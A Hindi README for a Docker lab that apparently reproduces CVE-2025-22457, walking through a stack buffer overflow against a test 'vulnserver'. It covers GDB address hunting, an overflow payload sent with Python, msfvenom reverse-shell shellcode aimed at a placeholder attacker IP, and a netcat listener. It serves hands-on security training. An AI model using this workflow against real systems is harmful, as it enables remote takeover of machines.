
CVE-2025-22457 को पुनः उत्पन्न करने वाली प्रयोगात्मक लैब: Docker हमलावर/पीड़ित कंटेनर सेट अप करती है, GDB के साथ स्टैक पते ढूँढती है, और एक msfvenom रिवर्स शेल एक्सप्लॉइट प्रदान करती है।
यदि आप Windows का उपयोग कर रहे हैं, तो आप wsl खोलकर निष्पादित कर सकते हैं
chmod +x setup_environment.sh
./setup_environment.sh
चूंकि मेमोरी पते और IP विभिन्न वातावरणों में गतिशील होते हैं, उन्हें मैन्युअल रूप से खोजना और exploit.py स्क्रिप्ट को अपडेट करना आवश्यक है।
docker exec -it atac /bin/bash
docker exec -it vic /bin/bash
इस चरण का लक्ष्य एक स्थिर स्टैक पता खोजना है ताकि हमारा payload सटीक रूप से कूद सके।
gdb ./vulnserver
(gdb) b strcpy
(gdb) run
ब्रेकपॉइंट ट्रिगर करें: attacker docker का उपयोग करके, एक परीक्षण payload भेजने के लिए निम्नलिखित कमांड निष्पादित करें। यह GDB को ब्रेकपॉइंट पर रोक देगा। ध्यान दें: कृपया <VICTIM_IP> को चरण एक में दिखाए गए Victim IP से बदलें।
python3 -c 'import socket; s = socket.socket(); s.connect(("<VICTIM_IP>", 9999)); s.send(b"A"*516 + b"BBBB" + b"C"*300); s.close()'
पता खोजें और रिकॉर्ड करें: GDB वाले टर्मिनल विंडो पर वापस जाएं, प्रोग्राम रुक जाना चाहिए। स्टैक की जांच करने के लिए निम्नलिखित कमांड निष्पादित करें:
(gdb) x/200wx $esp
आउटपुट में, 0x43434343 ('C' का प्रतिनिधित्व) से बने क्षेत्र को खोजें। इस क्षेत्र के बीच से कोई भी पता चुनें (उदाहरण के लिए 0xffffd580) और इसे कॉपी करें। यही stack_address है।
टेक्स्ट एडिटर का उपयोग करके exploit.py में stack_address को अभी कॉपी किए गए address से अपडेट करें
attacker कंटेनर के shell में, shellcode जनरेट करने के लिए msfvenom कमांड निष्पादित करें। ध्यान दें: कृपया <ATTACKER_IP> को चरण एक में दिखाए गए Attacker IP से बदलें।
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -b '\x00' -f python
msfvenom के आउटपुट से पूरे buf = b""... कोड को कॉपी करें, और इसका उपयोग exploit.py फ़ाइल में मौजूदा buf वेरिएबल भाग को पूरी तरह से बदलने के लिए करें।
nc -lvnp 4444
निम्नलिखित दो विधियों का उपयोग किया जा सकता है विधि एक
./vulnserver
विधि दो
gdb ./vulnserver
gef➤ run
python3 exploit.py <victim_ip>
परिणाम सत्यापित करें: netcat लिसनर वाली विंडो पर वापस स्विच करें। यदि सब कुछ ठीक रहा, तो आप एक कनेक्शन स्थापित होते हुए देख सकते हैं और एक इंटरैक्टिव shell प्राप्त कर सकते हैं। आप सत्यापित करने के लिए whoami, ls -la आदि कमांड दर्ज कर सकते हैं।
GDB में quit दर्ज करें, फिर कंटेनर shell में exit दर्ज करें।
docker stop vic atac
docker network rm 111550082_net